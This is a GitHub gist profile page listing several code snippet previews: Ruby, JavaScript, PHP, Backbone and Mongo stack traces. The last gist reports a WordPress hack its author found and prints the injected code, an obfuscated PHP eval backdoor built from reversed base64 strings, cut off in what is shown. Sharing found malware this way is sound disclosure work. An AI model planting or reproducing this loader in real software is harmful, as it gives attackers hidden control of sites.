Skip to content

Instantly share code, notes, and snippets.

View colllin's full-sized avatar

Collin Kindrom colllin

View GitHub Profile
@colllin
colllin / hello.js
Created May 26, 2011 00:42
public gist
// lskjdflskhjf
@colllin
colllin / Options.md
Last active December 7, 2020 10:02
How to use UrlSpoiler to preview Gists
@colllin
colllin / prime.rb
Created October 31, 2012 20:45
ruby prime number generator
#!/bin/ruby
def calculatePrime
list = (2..7050000).to_a
print "2 "
list = list.select(&:odd?)
list.each_with_index.each do |n, i|
next if n == nil
print "#{n} "
while i < list.count do
@colllin
colllin / whatever.html
Created November 9, 2012 05:29
Google Map Marker Example
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
<style type="text/css">
html { height: 100% }
body { height: 100%; margin: 0; padding: 0 }
#map_canvas { height: 100% }
</style>
<script type="text/javascript"
@colllin
colllin / gist:4084171
Created November 16, 2012 04:48
Temp
$(document).scroll(function() {
var currentScrollTop = $(this).scrollTop();
if (currentScrollTop > prevScrollTop) {
//down
var lasthiddenbox = $('.fadeboxhidden:last');
var nextbox = (lasthiddenbox.length > 0) ? lasthiddenbox.next('.fadebox') : $('.fadebox:first');
while (nextbox.length) {
if (nextbox.offset().top < currentScrollTop) {
nextbox.css('opacity', (currentScrollTop - nextbox.offset().top) / nextbox.outerHeight());
}
@colllin
colllin / trace.md
Created April 3, 2013 23:22
Exception stack traces from a bad outage around mongo connection failures.

At the beginning

PostsController# (Timeout::Error) "execution expired"

/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `block in read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:78:in `handle_socket_errors'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/sockets/connectable.rb:45:in `read'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/connection.rb:177:in `read_data'
/app/vendor/bundle/ruby/1.9.1/gems/moped-1.3.2/lib/moped/connection.rb:99:in `block in read'
@colllin
colllin / pathfinder.js
Last active March 15, 2016 07:42
Use jQuery to find the shortest selector for a given element in the DOM.
jQuery(function($) {
// returns an array of the potential selector components for the first element in the jQuery object. IDs, classes, and tagNames only.
var getSelectorComponents = function($el) {
var components = [];
var id = $el.attr('id');
if (typeof(id)!='undefined' && /[^\s]/.test(id)) {
components.push('#'+id);
}
<?php
// only run this code if they submitted the form (we can check if the submit button was pressed)
if (isset($_POST['contact-submit'])) {
$email = isset($_POST['email']) ? trim($_POST['email']) : '';
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
$message = isset($_POST['message']) ? trim($_POST['message']) : '';
success = true;
@colllin
colllin / backbone-auto-routing-example.html
Last active August 10, 2018 09:03
Automatic Backbone Routing - automatically capture links with relative URLs and route them through your Backbone Router. This method does not break any fallback server-side routing, because you're still using real URLs, i.e. `<a href="/my/app/page/4">See?</a>`. If a link can't be handled by any of your routers, it will fall through so the browse…
...
<nav>
<ul>
<li>
<a href="/my/app">Home</a>
</li><li>
<a href="/my/app/posts">Posts</a>
</li><li>
<a href="/my/app/posts/1">The First Post</a>
</li>
@colllin
colllin / gist:6265983
Last active December 21, 2015 06:39
"payday loans" WordPress hack / bug. I found this code injected at the top of the theme's functions.php file.
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bKogCKASfKAyOwRCIuJXd0VmcJogCK0XCK0XCJogC9lQCJoQfJkQCJowOxQHelRHJuAHJ9AHJJkQCJkgC7V2csVWfJkQCJoQfJkQCJkgC7kCckACLxQHelRHJuICIi4yZhRHJgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCKsXZzxWZ9lQCJkQCKAyOpAHJsEDd4VGdk4iIgIiLnFGdkwyZhRHJoU2YhxGclJXafJHdzBUPwRSCJkQCJkgC7lSK00TPlBXe0RCK8xXKz0TPlBXe0RCKoAiZplQCJkQCKsXKpcWY0RCLwRCKyR3cpJHdzhCImlWCJkQCKowepkiIi0TIxQHelRHJoYiJpIiI9EyZhRHJogCImlWCJkgC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJscWY0RCK0NXaslQCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkQCKsXK09mYkgCImlWCJogC9lQCKsTKoAXafR3biVGbn92bn91cp1DdvJGJJkQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJogCImlWCJoQfJkgC7kCKhV3X09mYfNXa9Q3biRSCJkgC7lSK00TPlBXe0RCK8xXKx0TPlBXe0RCKoAiZplQCKsXKpQTP9UGc5RHJowHfpMTP9UGc5RHJowHfpITP9UGc5RHJowHfpETP9UGc5RHJogCImlWCKU2csVWfJoQCJoQfJkgC7EDd4VGdk4Cck0DckkQCJowelNHbl1XCJowOpAHJgwSM0hXZ0dWY0RiLiAiIuEDd4VGdkACLxQHelR3ZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9